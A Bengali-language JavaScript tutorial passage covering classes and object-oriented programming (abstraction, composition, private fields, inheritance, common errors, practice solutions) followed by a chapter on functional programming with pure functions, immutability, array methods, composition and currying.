thisAbstraction মানে: > জটিল internal implementation hide করে user-কে প্রয়োজনীয় interface দেওয়া।
তুমি ATM ব্যবহার করো:
তুমি জানো না ATM-এর ভিতরে:
Database Bank Server Encryption Transaction System Network
কীভাবে কাজ করছে। এটাই abstraction-এর ধারণা। JavaScript example:
class ATM {
withdraw(amount) {
this.#verifyAccount();
this.#checkBalance();
this.#processTransaction();
console.log(`Withdrawn: ${amount}`);
}
#verifyAccount() {
console.log("Account verified");
}
#checkBalance() {
console.log("Balance checked");
}
#processTransaction() {
console.log("Transaction processed");
}
}
const atm = new ATM();
atm.withdraw(5000);
User শুধু:
atm.withdraw(5000);
ব্যবহার করছে। Internal process hidden।
সবসময় inheritance ব্যবহার করতে হবে এমন নয়। Composition মানে ছোট ছোট object/component combine করে বড় behavior তৈরি করা। ধরো:
const engine = {
start() {
console.log("Engine started");
}
};
const musicSystem = {
playMusic() {
console.log("Music playing");
}
};
const car = {
engine,
musicSystem
};
car.engine.start();
car.musicSystem.playMusic();
এখানে car-এর:
Engine Music System
আলাদা components। # 🧠 Inheritance বনাম Composition
| Inheritance | Composition |
|---|---|
| IS-A relationship | HAS-A relationship |
| Dog IS-A Animal | Car HAS-A Engine |
extends | objects/components combine |
| Tight coupling হতে পারে | বেশি flexible হতে পারে |
Dog IS-A Animal
Inheritance। কিন্তু:
Car HAS-A Engine Car HAS-A GPS Car HAS-A MusicSystem
Composition।
| Class | Object |
|---|---|
| Blueprint | বাস্তব instance |
| Template | Created entity |
class Student | new Student() |
| অনেক object তৈরি করতে পারে | একটি নির্দিষ্ট instance |
উদাহরণ:
class Student {}
Class।
const student = new Student();
Object।
Modern JavaScript-এ class বেশি readable। আগে constructor function ব্যবহার করা হতো।
function Student(name) {
this.name = name;
}
Student.prototype.introduce = function () {
console.log(`I am ${this.name}`);
};
const student = new Student("Shariar");
student.introduce();
class Student {
constructor(name) {
this.name = name;
}
introduce() {
console.log(`I am ${this.name}`);
}
}
const student = new Student("Shariar");
student.introduce();
দুটো conceptually related।
এটা খুব গুরুত্বপূর্ণ। তুমি Chapter 11-এ Prototype পড়েছো। JavaScript-এর:
class Student {
introduce() {
console.log("Hello");
}
}
এর methods সাধারণত prototype-এ থাকে। অর্থাৎ:
JavaScript মূলত prototype-based language। class হলো cleaner syntax/abstraction।
class Student {
introduce() {
console.log("Hello");
}
}
const student = new Student();
console.log(
Object.getPrototypeOf(student) === Student.prototype
);
Output:
true
Modern JavaScript-এ class-এর মধ্যে directly field declare করা যায়।
class Student {
name = "Unknown";
age = 0;
}
const student = new Student();
console.log(student.name);
console.log(student.age);
Output:
Unknown 0
class User {
#password;
constructor(password) {
this.#password = password;
}
checkPassword(password) {
return this.#password === password;
}
}
const user = new User("12345");
console.log(user.checkPassword("12345"));
console.log(user.checkPassword("wrong"));
Output:
true false
Password সরাসরি বাইরে access করা যাবে না।
class Product {
constructor(name, price, stock) {
this.name = name;
this.price = price;
this.stock = stock;
}
getTotalPrice(quantity) {
if (quantity > this.stock) {
throw new Error("Not enough stock");
}
return this.price * quantity;
}
sell(quantity) {
if (quantity > this.stock) {
throw new Error("Not enough stock");
}
this.stock -= quantity;
}
showProduct() {
console.log(
`${this.name} - ৳${this.price} - Stock: ${this.stock}`
);
}
}
const laptop = new Product("Laptop", 60000, 10);
laptop.showProduct();
console.log(
"Total:",
laptop.getTotalPrice(2)
);
laptop.sell(2);
laptop.showProduct();
Output:
Laptop - ৳60000 - Stock: 10 Total: 120000 Laptop - ৳60000 - Stock: 8
ধরো:
class Product {
constructor(name, price) {
this.name = name;
this.price = price;
}
showInfo() {
console.log(`${this.name}: ৳${this.price}`);
}
}
class ElectronicProduct extends Product {
constructor(name, price, warranty) {
super(name, price);
this.warranty = warranty;
}
showWarranty() {
console.log(`Warranty: ${this.warranty} months`);
}
}
const laptop = new ElectronicProduct(
"Laptop",
60000,
24
);
laptop.showInfo();
laptop.showWarranty();
Output:
Laptop: ৳60000 Warranty: 24 months
একটি বড় project-এ এমন structure দেখা যেতে পারে:
উদাহরণ:
class User {
constructor(name, email) {
this.name = name;
this.email = email;
}
getProfile() {
return {
name: this.name,
email: this.email
};
}
}
export default User;
এভাবে application-এর বিভিন্ন responsibility আলাদা করা যায়।
ধরো API থেকে user data পেলাম:
const data = {
id: 1,
name: "Shariar",
email: "shariar@example.com"
};
Class দিয়ে model:
class User {
constructor(data) {
this.id = data.id;
this.name = data.name;
this.email = data.email;
}
getDisplayName() {
return this.name;
}
}
const user = new User(data);
console.log(user.getDisplayName());
Output:
Shariar
এটি বড় application-এ useful।
new ভুলে যাওয়াClass constructor কখনো new কীওয়ার্ড ছাড়া সরাসরি ফাংশনের মতো কল করা যায় না। এভাবে কল করলে TypeError ছুঁড়ে দেয়।
class Student {}
const student = Student();
TypeError: Class constructor Student cannot be invoked without 'new'
সঠিক সমাধান: অবজেক্ট ইনস্ট্যান্স তৈরি করতে সর্বদা new ব্যবহার করুন।
class Student {}
const student = new Student();
super() ভুলে যাওয়াInheritance ব্যবহার করার সময় চাইল্ড ক্লাসের constructor-এ this অ্যাক্সেস করার পূর্বে অবশ্যই প্যারেন্ট ক্লাসের super() কল করতে হবে।
class Animal {
constructor(name) {
this.name = name;
}
}
class Dog extends Animal {
constructor(name, breed) {
this.breed = breed;
}
}
ReferenceError: Must call super constructor in derived class before accessing 'this'
সঠিক সমাধান: প্যারেন্ট কনস্ট্রাক্টরে প্যারামিটার পাস করতে প্রথমে super(...) কল করুন।
class Animal {
constructor(name) {
this.name = name;
}
}
class Dog extends Animal {
constructor(name, breed) {
super(name);
this.breed = breed;
}
}
Private field (#field) ক্লাসের বাইরে থেকে সরাসরি ডট নোটেশনে অ্যাক্সেস করা যায় না। এটি করলে সিনট্যাক্স এরর দেয়।
class User {
#password = "12345";
}
const user = new User();
console.log(user.#password);
SyntaxError: Private field '#password' must be declared in an enclosing class
সঠিক সমাধান: ক্লাসের নিজস্ব মেথড বা গেটারের মাধ্যমে প্রাইভেট ডেটা ভ্যালিডেট বা এক্সেস করুন।
class User {
#password = "12345";
verifyPassword(input) {
return this.#password === input;
}
}
const user = new User();
console.log(user.verifyPassword("12345")); // true
Static method সরাসরি ক্লাসের প্রপার্টি, এটি ইনস্ট্যান্স অবজেক্টে উত্তরাধিকারসূত্রে থাকে না। অবজেক্ট ইনস্ট্যান্স দিয়ে কল করলে TypeError দেয়।
class Test {
static hello() {
console.log("Hello");
}
}
const test = new Test();
test.hello();
TypeError: test.hello is not a function
সঠিক সমাধান: সরাসরি ক্লাসের নাম ধরে কল করুন: Test.hello()
class Test {
static hello() {
console.log("Hello");
}
}
Test.hello(); // Hello
thisকনস্ট্রাক্টরের ভেতর this.property = value না লিখলে অবজেক্টের প্রপার্টি ইনিশিয়ালাইজ হয় না; শুধু লোকাল ভেরিয়েবল অ্যাসাইন হয়।
class Student {
constructor(name) {
name = name; // প্যারামিটার নিজের উপর অ্যাসাইন হচ্ছে, ইনস্ট্যান্সে নয়!
}
}
const s = new Student("Shariar");
console.log(s.name); // undefined
undefined
সঠিক সমাধান: অবজেক্টের প্রপার্টি সেট করতে সর্বদা this.name ব্যবহার করুন।
class Student {
constructor(name) {
this.name = name; // ইনস্ট্যান্স অবজেক্টে প্রপার্টি সেট হলো
}
}
const s = new Student("Shariar");
console.log(s.name); // 'Shariar'
এই পুরো chapter-টা এভাবে মনে রাখো:
তারপর:
Inheritance:
OOP pillars:
Encapsulation Abstraction Inheritance Polymorphism
এই Chapter থেকে অবশ্যই জানতে হবে:
class Student {}
const student = new Student();
constructor(name) {
this.name = name;
}
thisCurrent instance/object reference।
study() {
console.log("Studying");
}
static hello() {}
Call:
ClassName.hello();
get name() {}
set name(value) {}
#password
class Dog extends Animal {}
super();
Child নিজের method দিয়ে parent method replace/override করতে পারে।
একই method বিভিন্ন object-এ different behavior দিতে পারে।
class syntax-এর নিচে JavaScript-এর prototype system কাজ করে।
JavaScript Class এবং Object-Oriented Programming এর দ্রুত রেফারেন্সের জন্য সম্পূর্ণ সিনট্যাক্স টেবিল:
| Concept | Syntax |
|---|---|
| Class | class User {} |
| Constructor | constructor() {} |
| Object | new User() |
| Property | this.name |
| Method | hello() {} |
| Static | static hello() {} |
| Getter | get name() {} |
| Setter | set name(value) {} |
| Private | #password |
| Inheritance | extends |
| Parent constructor | super() |
| Parent method | super.method() |
| Instance check | obj instanceof Class |
থিওরি এবং কনসেপ্ট আয়ত্ত করার পর বাস্তব প্রজেক্টে ক্লাস ব্যবহারের দক্ষতা যাচাই করার জন্য নিচে ৬টি প্র্যাকটিস প্রবলেমের বিস্তারিত সমাধান দেওয়া হলো:
Problem Requirement: Car নামে একটি ক্লাস বানান যাতে brand, model, year প্রোপার্টি থাকবে এবং showInfo() মেথড গাড়ির সম্পূর্ণ বিবরণ প্রিন্ট করবে।
class Car {
constructor(brand, model, year) {
this.brand = brand;
this.model = model;
this.year = year;
}
showInfo() {
console.log(`Car Info: ${this.brand} ${this.model} (${this.year})`);
}
}
// Verification
const myCar = new Car("Toyota", "Camry", 2024);
myCar.showInfo();
Car Info: Toyota Camry (2024)
Problem Requirement: Student নামে একটি ক্লাস বানান যাতে name, id, department প্রোপার্টি থাকবে এবং introduce() মেথড শিক্ষার্থীর পরিচয় প্রিন্ট করবে।
class Student {
constructor(name, id, department) {
this.name = name;
this.id = id;
this.department = department;
}
introduce() {
console.log(`Hello, I am ${this.name}, ID: ${this.id}, Department of ${this.department}.`);
}
}
// Verification
const s1 = new Student("Rahim Ahmed", "CSE-1024", "Computer Science");
s1.introduce();
Hello, I am Rahim Ahmed, ID: CSE-1024, Department of Computer Science.
Problem Requirement: Rectangle নামে একটি ক্লাস বানান যার width ও height প্রোপার্টি থাকবে এবং আয়তক্ষেত্রের ক্ষেত্রফল ও পরিসীমা নির্ণয়ের জন্য area() ও perimeter() মেথড থাকবে।
class Rectangle {
constructor(width, height) {
this.width = width;
this.height = height;
}
area() {
return this.width * this.height;
}
perimeter() {
return 2 * (this.width + this.height);
}
}
// Verification
const rect = new Rectangle(10, 5);
console.log("Area:", rect.area());
console.log("Perimeter:", rect.perimeter());
Area: 50 Perimeter: 30
Problem Requirement: BankAccount ক্লাস বানান যাতে ব্যালেন্স প্রাইভেট (#balance) থাকবে এবং deposit(amount), withdraw(amount), ও getBalance() মেথডের মাধ্যমে সুরক্ষিতভাবে লেনদেন করা যাবে।
class BankAccount {
#balance;
constructor(initialBalance = 0) {
this.#balance = initialBalance >= 0 ? initialBalance : 0;
}
deposit(amount) {
if (amount > 0) {
this.#balance += amount;
console.log(`Deposited $${amount}. New balance: $${this.#balance}`);
} else {
console.log("Deposit amount must be positive.");
}
}
withdraw(amount) {
if (amount <= 0) {
console.log("Invalid withdrawal amount.");
} else if (amount > this.#balance) {
console.log("Insufficient funds!");
} else {
this.#balance -= amount;
console.log(`Withdrawn $${amount}. Remaining balance: $${this.#balance}`);
}
}
getBalance() {
return this.#balance;
}
}
// Verification
const account = new BankAccount(500);
account.deposit(200);
account.withdraw(150);
console.log("Final Balance:", account.getBalance());
Deposited $200. New balance: $700 Withdrawn $150. Remaining balance: $550 Final Balance: 550
Problem Requirement: Employee (name, salary) বেস ক্লাস থেকে Developer (language, code()) চাইল্ড ক্লাস তৈরি করুন এবং super() এর মাধ্যমে প্যারেন্ট প্রোপার্টি ইনিশিয়ালাইজ করুন।
class Employee {
constructor(name, salary) {
this.name = name;
this.salary = salary;
}
getDetails() {
return `${this.name} earns $${this.salary}/year`;
}
}
class Developer extends Employee {
constructor(name, salary, language) {
super(name, salary); // Call parent constructor
this.language = language;
}
code() {
console.log(`${this.name} is writing code in ${this.language}.`);
}
}
// Verification
const dev = new Developer("Shariar", 95000, "JavaScript");
console.log(dev.getDetails());
dev.code();
Shariar earns $95000/year Shariar is writing code in JavaScript.
Problem Requirement: একটি পূর্ণাঙ্গ অবজেক্ট-ওরিয়েন্টেড মিনি ই-কমার্স আর্কিটেকচার তৈরি করুন যাতে Product, Cart, Order, এবং User ক্লাসগুলো একে অপরের সাথে ইন্টারঅ্যাক্ট করে মোট মূল্য ও কার্ট প্রসেসিং সম্পন্ন করবে।
class Product {
constructor(id, name, price) {
this.id = id;
this.name = name;
this.price = price;
}
}
class Cart {
constructor() {
this.items = [];
}
addProduct(product, quantity = 1) {
this.items.push({ product, quantity });
console.log(`Added ${quantity}x ${product.name} to cart.`);
}
getTotal() {
return this.items.reduce((sum, item) => sum + item.product.price * item.quantity, 0);
}
}
class Order {
constructor(user, cart) {
this.user = user;
this.items = [...cart.items];
this.totalAmount = cart.getTotal();
this.orderDate = new Date();
}
printReceipt() {
console.log(`=== RECEIPT FOR ${this.user.name} ===`);
this.items.forEach(i => console.log(`- ${i.product.name} x${i.quantity}: $${i.product.price * i.quantity}`));
console.log(`Total: $${this.totalAmount}`);
}
}
class User {
constructor(name, email) {
this.name = name;
this.email = email;
}
}
// Complete System Simulation
const user = new User("Tanjim", "tanjim@example.com");
const laptop = new Product(101, "MacBook Pro", 1999);
const mouse = new Product(102, "Magic Mouse", 79);
const cart = new Cart();
cart.addProduct(laptop, 1);
cart.addProduct(mouse, 2);
const order = new Order(user, cart);
order.printReceipt();
Added 1x MacBook Pro to cart. Added 2x Magic Mouse to cart. === RECEIPT FOR Tanjim === - MacBook Pro x1: $1999 - Magic Mouse x2: $158 Total: $2157
JavaScript-এর সম্পূর্ণ Object-Oriented Programming ইকোসিস্টেম, ক্লাস ফিল্ডস, ইনহেরিট্যান্স এবং মেথড স্ট্রাকচারের সামগ্রিক ভিজ্যুয়াল আর্কিটেকচার:
তুমি Chapter 10-এ Objects, Chapter 11-এ Prototypes, এবং Chapter 24-এ Classes/OOP পড়ার পর এই তিনটির পারস্পরিক যোগসূত্র এভাবে মনে রাখবে:
JavaScript-এ Functional Programming অত্যন্ত গুরুত্বপূর্ণ—বিশেষ করে তুমি যখন React, Redux, Node.js এবং Modern Full-Stack ইকোসিস্টেমে কাজ করবে। এই চ্যাপ্টারে আমরা শুধুমাত্র map() বা filter() নয়, বরং Functional JavaScript-এর গভীরতম ভিত্তিগুলো—Pure Functions, Immutability, Composition, Currying এবং Declarative Data Pipelines—নিখুঁতভাবে শিখব।
Functional Programming (FP) হলো এমন একটি programming style যেখানে আমরা program-কে ছোট ছোট function দিয়ে তৈরি করি এবং function-কে data process করার প্রধান মাধ্যম হিসেবে ব্যবহার করি।
ধরো একটি restaurant-এ: > Raw ingredients → রান্নার function → Final food JavaScript-এ: > Input data → Function → Output data
function double(number) {
return number * 2;
}
console.log(double(5));
10
এখানে:
অর্থাৎ function input নিয়ে output তৈরি করেছে।
Functional JavaScript-এর কয়েকটি গুরুত্বপূর্ণ principle: 1. Pure Functions 2. Immutability 3. First-Class Functions 4. Higher-Order Functions 5. Function Composition 6. Declarative Programming 7. Avoiding Side Effects 8. Data Transformation 9. Referential Transparency এগুলো একে একে বুঝি।
একটি function তখন Pure Function, যখন: 1. একই input দিলে সবসময় একই output দেয় 2. বাইরের কোনো data পরিবর্তন করে না
function add(a, b) {
return a + b;
}
console.log(add(10, 20));
console.log(add(10, 20));
30 30
একই input:
10, 20
দিলে সবসময়:
30
তাই এটি pure function।
যে function বাইরের state/data পরিবর্তন করে অথবা বাইরের changing value-এর ওপর নির্ভর করে তাকে সাধারণভাবে Impure Function বলা হয়।
let total = 0;
function addToTotal(value) {
total += value;
}
addToTotal(100);
console.log(total);
100
Function-এর ভিতর থেকে বাইরের variable:
total;
পরিবর্তন হয়েছে। তাই এটি pure function নয়।
| Pure Function | Impure Function |
|---|---|
| একই input → একই output | output/state পরিবর্তিত হতে পারে |
| বাইরের data পরিবর্তন করে না | বাইরের data পরিবর্তন করতে পারে |
| Predictable | Less predictable |
| Testing সহজ | Testing তুলনামূলক কঠিন |
function square(x) {
return x * x;
}
let count = 0;
function increase() {
count++;
}
ধরো calculator:
Input: 10 + 20 Output: 30
Calculator-এর function:
function add(a, b) {
return a + b;
}
এটি pure। কিন্তু যদি function:
function add(a, b) {
console.log("Calculating...");
return a + b;
}
তাহলে function একটি side effect করছে—console-এ কিছু লিখছে।
Function-এর বাইরে কোনো observable পরিবর্তন হলে সেটি Side Effect হতে পারে। উদাহরণ:
console.log();
document.body.innerHTML = "Hello";
localStorage.setItem("name", "Ripon");
database.save(user);
fetch("/api/users");
এসব operation সাধারণত side effect তৈরি করে।
let users = [];
function addUser(user) {
users.push(user);
}
এখানে:
users.push(user);
বাইরের users array পরিবর্তন করছে। এটি side effect।
আমরা নতুন array return করতে পারি:
let users = [];
function addUser(users, user) {
return [...users, user];
}
const updatedUsers = addUser(users, "Ripon");
console.log(users);
console.log(updatedUsers);
[] ["Ripon"]
Original array পরিবর্তন হয়নি। এটাই Functional Programming-এর গুরুত্বপূর্ণ ধারণা।
Immutability মানে হলো existing data সরাসরি পরিবর্তন না করা। ধরো:
const user = {
name: "Ripon",
age: 23,
};
এখন:
user.age = 24;
এখানে object-এর existing data পরিবর্তন হয়েছে। Functional style-এ আমরা নতুন object তৈরি করতে পারি।
const user = {
name: "Ripon",
age: 23,
};
const updatedUser = {
...user,
age: 24,
};
console.log(user);
console.log(updatedUser);
{ name: "Ripon", age: 23 }
{ name: "Ripon", age: 24 }
Original object unchanged।
ধরো:
const numbers = [1, 2, 3];
এভাবে করলে:
numbers.push(4);
original array পরিবর্তিত হচ্ছে। Functional style:
const numbers = [1, 2, 3];
const newNumbers = [...numbers, 4];
console.log(numbers);
console.log(newNumbers);
[1, 2, 3] [1, 2, 3, 4]
Chapter 6-এ আমরা এটি দেখেছিলাম। JavaScript-এ function হলো First-Class Citizen। অর্থাৎ function:
function greet() {
console.log("Hello!");
}
const myFunction = greet;
myFunction();
Hello!
const add = function (a, b) {
return a + b;
};
console.log(add(5, 10));
এখানে:
add;
একটি variable এবং এর value একটি function।
function process(number, operation) {
return operation(number);
}
function double(x) {
return x * 2;
}
console.log(process(5, double));
10
এখানে:
যে function:
অথবা
তাকে Higher-Order Function বলে।
function calculate(a, b, operation) {
return operation(a, b);
}
function add(a, b) {
return a + b;
}
console.log(calculate(10, 20, add));
30
এখানে:
calculate();
একটি Higher-Order Function।
JavaScript-এর অনেক array method Higher-Order Function। সবচেয়ে গুরুত্বপূর্ণ:
map() filter() reduce() forEach() find() some() every() sort()
এখন এগুলো Functional Programming perspective থেকে দেখি।
map()map() প্রতিটি element-এর ওপর function চালিয়ে নতুন array তৈরি করে।
const numbers = [1, 2, 3, 4];
const doubled = numbers.map((number) => number * 2);
console.log(doubled);
[2, 4, 6, 8]
Original:
[1, 2, 3, 4]
পরিবর্তিত হয়নি।
map()ধরো student marks:
const marks = [50, 60, 70, 80];
const increasedMarks = marks.map((mark) => mark + 5);
console.log(increasedMarks);
[55, 65, 75, 85]
filter()filter() condition অনুযায়ী element নির্বাচন করে নতুন array দেয়।
const numbers = [10, 15, 20, 25, 30];
const evenNumbers = numbers.filter((number) => number % 2 === 0);
console.log(evenNumbers);
[10, 20, 30]
filter()const students = [
{ name: "A", marks: 85 },
{ name: "B", marks: 45 },
{ name: "C", marks: 75 },
];
const passedStudents = students.filter((student) => student.marks >= 50);
console.log(passedStudents);
[
{ name: "A", marks: 85 },
{ name: "C", marks: 75 }
]
reduce()reduce() multiple valuesকে একটি final value-তে পরিণত করতে পারে।
const numbers = [10, 20, 30, 40];
const total = numbers.reduce((sum, number) => sum + number, 0);
console.log(total);
100
Mental model:
map() + filter() + reduce()Functional JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ patternগুলোর একটি।
const prices = [100, 200, 300, 400];
const result = prices
.filter((price) => price >= 200)
.map((price) => price * 0.9)
.reduce((total, price) => total + price, 0);
console.log(result);
প্রথম:
[100, 200, 300, 400]
filter():
[200, 300, 400]
map():
[180, 270, 360]
reduce():
810
810
এটি Functional Programming-এর খুব গুরুত্বপূর্ণ style।
Functional Programming সাধারণত Declarative style ব্যবহার করে।
মানে কীভাবে কাজ করতে হবে সেটা বলে দেওয়া।
const numbers = [1, 2, 3, 4];
const result = [];
for (let i = 0; i < numbers.length; i++) {
result.push(numbers[i] * 2);
}
console.log(result);
কী result চাই সেটা প্রকাশ করা:
const numbers = [1, 2, 3, 4];
const result = numbers.map((number) => number * 2);
console.log(result);
দুটোর output একই:
[2, 4, 6, 8]
| Imperative | Declarative |
|---|---|
| কীভাবে করতে হবে | কী চাই |
| বেশি control | বেশি abstraction |
| loops বেশি | methods বেশি |
| step-by-step | transformation-focused |
একাধিক ছোট function একসাথে ব্যবহার করে বড় কাজ তৈরি করাকে Function Composition বলা হয়। ধরো:
Code:
const double = (x) => x * 2;
const add10 = (x) => x + 10;
const square = (x) => x * x;
const result = square(add10(double(5)));
console.log(result);
double(5) = 10 add10(10) = 20 square(20) = 400
400
compose() Functionআমরা composition-এর জন্য function তৈরি করতে পারি।
const compose = (f, g) => (value) => f(g(value));
const double = (x) => x * 2;
const add10 = (x) => x + 10;
const process = compose(add10, double);
console.log(process(5));
20
কারণ:
pipe()compose() সাধারণত right-to-left কাজ করতে পারে। আর pipe() সাধারণত left-to-right।
const pipe =
(...functions) =>
(value) =>
functions.reduce((result, fn) => fn(result), value);
এখন:
const double = (x) => x * 2;
const add10 = (x) => x + 10;
const square = (x) => x * x;
const process = pipe(double, add10, square);
console.log(process(5));
400
কারণ:
ধরো:
const user = {
name: "Ripon",
skills: ["HTML", "CSS"],
};
আমরা সরাসরি:
user.skills.push("JavaScript");
না করে নতুন object তৈরি করতে পারি:
const updatedUser = {
...user,
skills: [...user.skills, "JavaScript"],
};
console.log(updatedUser);
{
name: "Ripon",
skills: ["HTML", "CSS", "JavaScript"]
}
const users = [
{ id: 1, name: "A", active: true },
{ id: 2, name: "B", active: false },
];
User 2-কে active করতে:
const updatedUsers = users.map((user) =>
user.id === 2 ? { ...user, active: true } : user,
);
console.log(updatedUsers);
[
{ id: 1, name: "A", active: true },
{ id: 2, name: "B", active: true }
]
এটি React-এ খুবই গুরুত্বপূর্ণ pattern।
React state সরাসরি mutate করা উচিত নয়। খারাপ pattern:
user.name = "New Name";
Better:
setUser({
...user,
name: "New Name",
});
Array-এর ক্ষেত্রে:
setUsers(
users.map((user) => (user.id === 2 ? { ...user, active: true } : user)),
);
এই কারণেই Functional JavaScript ভালোভাবে জানা React-এর জন্য খুব গুরুত্বপূর্ণ।
একটি expression যদি তার result দিয়ে safely replace করা যায় এবং program-এর behavior পরিবর্তন না হয়, তাকে Referential Transparency বলা হয়। ধরো:
function add(a, b) {
return a + b;
}
তাহলে:
add(10, 20);
সবসময়:
30
তাই:
const x = add(10, 20);
কে:
const x = 30;
দিয়ে replace করা যায়।
Currying হলো একটি function-এর multiple arguments-কে একসাথে নেওয়ার পরিবর্তে একবারে একটি করে নেওয়া। Normal:
function add(a, b) {
return a + b;
}
console.log(add(10, 20));
Curried:
function add(a) {
return function (b) {
return a + b;
};
}
console.log(add(10)(20));
30
Arrow version:
const add = (a) => (b) => a + b;
console.log(add(10)(20));
ধরো tax calculation:
const addTax = (taxRate) => (price) => price + price * taxRate;
const addVAT = addTax(0.15);
console.log(addVAT(1000));
console.log(addVAT(2000));
1150 2300
এখানে:
addTax(0.15);
একটি reusable function তৈরি করেছে।
Currying-এর সঙ্গে সম্পর্কিত আরেকটি concept হলো Partial Application। ধরো:
function multiply(a, b, c) {
return a * b * c;
}
আমরা কিছু argument আগে সেট করতে পারি।
function multiplyBy(a) {
return (b, c) => a * b * c;
}
const multiplyBy2 = multiplyBy(2);
console.log(multiplyBy2(3, 4));
24
Currying এবং functional programming-এ closure অনেক গুরুত্বপূর্ণ।
function createMultiplier(multiplier) {
return function (number) {
return number * multiplier;
};
}
const double = createMultiplier(2);
const triple = createMultiplier(3);
console.log(double(10));
console.log(triple(10));
20 30
Inner function multiplier variable-টিকে মনে রাখছে। এটাই closure।
Functional Programming-এর প্রধান শর্ত হলো বিদ্যমান ডেটা সরাসরি পরিবর্তন (mutate) না করা।
const numbers = [1, 2, 3];
numbers.push(4); // ❌ Original array সরাসরি mutate হয়ে গেছে!
push() মেথড মূল অ্যারে পরিবর্তন করে ফেলে, যার ফলে অ্যাপ্লিকেশনের স্টেট অপ্রত্যাশিতভাবে বদলে যেতে পারে।
সঠিক সমাধান (Immutable Style): Spread operator (...) ব্যবহার করে নতুন কপি তৈরি করুন।
const numbers = [1, 2, 3];
const newNumbers = [...numbers, 4]; // ✅ মূল array অক্ষত রেখে নতুন array রিটার্ন
একটি বহুল পরিচিত ট্রিকি বিষয় হলো জাভাস্ক্রিপ্টের বিল্ট-ইন sort() মেথড মূল অ্যারে মিউটেট করে।
const numbers = [3, 1, 2];
const sorted = numbers.sort(); // ❌ মূল numbers অ্যারেও sort হয়ে যাবে!
Functional সমাধান ১: স্প্রেড অপারেটর দিয়ে কপি বানিয়ে সর্ট করা:
const numbers = [3, 1, 2];
const sorted = [...numbers].sort((a, b) => a - b); // ✅ Spread কপি করে sort
console.log(numbers); // [3, 1, 2]
console.log(sorted); // [1, 2, 3]
Functional সমাধান ২ (ES2023+ Standard): আধুনিক toSorted() মেথড ব্যবহার করা:
// Modern ES2023+ Native Immutable Method:
const sortedNative = numbers.toSorted((a, b) => a - b); // ✅ মূল অ্যারে অক্ষত থাকে
forEach() vs map()forEach()সাধারণত side effect করার জন্য:
const numbers = [1, 2, 3];
numbers.forEach((number) => {
console.log(number);
});
map()নতুন transformed array তৈরি করার জন্য:
const doubled = numbers.map((number) => number * 2);
find()প্রথম matching element return করে।
const users = [
{ id: 1, name: "A" },
{ id: 2, name: "B" },
];
const user = users.find((user) => user.id === 2);
console.log(user);
{ id: 2, name: "B" }
some()কমপক্ষে একটি element condition satisfy করলে true।
const marks = [40, 55, 70];
const hasPassed = marks.some((mark) => mark >= 50);
console.log(hasPassed);
true
every()সব element condition satisfy করলে true।
const marks = [60, 70, 80];
const allPassed = marks.every((mark) => mark >= 50);
console.log(allPassed);
true
flatMap()map() করার পরে nested array flatten করার জন্য ব্যবহার করা যায়।
const students = [
{
name: "A",
skills: ["HTML", "CSS"],
},
{
name: "B",
skills: ["JS", "React"],
},
];
const skills = students.flatMap((student) => student.skills);
console.log(skills);
["HTML", "CSS", "JS", "React"]
এখন একটি realistic example দেখি। ধরো e-commerce products:
const products = [
{ name: "Laptop", price: 80000, stock: 5 },
{ name: "Mouse", price: 1000, stock: 20 },
{ name: "Keyboard", price: 3000, stock: 0 },
{ name: "Monitor", price: 25000, stock: 8 },
];
আমরা available এবং 5000-এর বেশি price-এর product চাই।
const result = products
.filter((product) => product.stock > 0)
.filter((product) => product.price > 5000)
.map((product) => ({
...product,
price: product.price * 0.9,
}));
console.log(result);
[
{ name: "Laptop", price: 72000, stock: 5 },
{ name: "Monitor", price: 22500, stock: 8 }
]
এখানে:
এটাকে Data Transformation Pipeline হিসেবে ভাবতে পারো।
Backend/API থেকে data আসলে:
const users = [
{ name: "A", active: true },
{ name: "B", active: false },
{ name: "C", active: true },
];
শুধু active users-এর names:
const activeNames = users
.filter((user) => user.active)
.map((user) => user.name);
console.log(activeNames);
["A", "C"]
এটি React/Node project-এ প্রতিদিনের মতো ব্যবহার হবে।
Pure function-এর behavior সহজে বোঝা যায়।
add(10, 20);
এর expected result:
30
সহজে test করা যায়।
ছোট ছোট function বারবার ব্যবহার করা যায়।
বড় code ছোট function-এ ভাগ করা যায়।
Pipeline-এর প্রতিটি step আলাদা করে পরীক্ষা করা যায়।
State transformation-এ immutable patterns খুব গুরুত্বপূর্ণ।
সবসময় functional style ব্যবহার করাই সঠিক নয়। কিছু ক্ষেত্রে:
তাই লক্ষ্য হবে: > Functional style যেখানে code পরিষ্কার ও predictable হয়, সেখানে ব্যবহার করা।
const students = [
{ name: "Rahim", marks: 80 },
{ name: "Karim", marks: 45 },
{ name: "Nadia", marks: 90 },
{ name: "Sadia", marks: 35 },
];
Passed students:
const passedStudents = students
.filter((student) => student.marks >= 40)
.map((student) => ({
...student,
status: "Passed",
}));
console.log(passedStudents);
[
{ name: "Rahim", marks: 80, status: "Passed" },
{ name: "Karim", marks: 45, status: "Passed" },
{ name: "Nadia", marks: 90, status: "Passed" }
]
reduce()const students = [
{ name: "Rahim", marks: 80 },
{ name: "Karim", marks: 45 },
{ name: "Nadia", marks: 90 },
];
const totalMarks = students.reduce(
(total, student) => total + student.marks,
0,
);
const average = totalMarks / students.length;
console.log("Total:", totalMarks);
console.log("Average:", average);
Total: 215 Average: 71.66666666666667
এই flow-টা মনে রাখো:
Example:
const result = products
.filter((product) => product.stock > 0)
.map((product) => product.price)
.reduce((total, price) => total + price, 0);
অর্থাৎ:
Chapter 25 থেকে অবশ্যই জানতে হবে:
map()filter()reduce()find()some()every()flatMap()pipe()Functional JavaScript এবং ডেটা রূপান্তরের দ্রুত রেফারেন্সের জন্য সম্পূর্ণ সিনট্যাক্স টেবিল:
| Concept | Meaning |
|---|---|
| Pure Function | Same input → same output |
| Impure Function | External state/side effect থাকতে পারে |
| Side Effect | Function-এর বাইরে observable change |
| Immutability | Existing data সরাসরি পরিবর্তন না করা |
| First-Class Function | Function-কে value হিসেবে ব্যবহার করা |
| Higher-Order Function | Function নেয়/return করে |
map() | Data transform |
filter() | Data select |
reduce() | Multiple values → one value |
find() | First matching item |
some() | অন্তত একটি match |
every() | সব match |
| Composition | Multiple functions combine |
| Currying | Arguments একবারে একটি করে নেওয়া |
| Declarative | কী চাই সেটা বলা |
Functional Programming-এর কনসেপ্টগুলোকে আত্মস্থ করার জন্য নিচে বাস্তবভিত্তিক ৫টি চ্যালেঞ্জের সম্পূর্ণ প্রোডাকশন সলিউশন দেওয়া হলো:
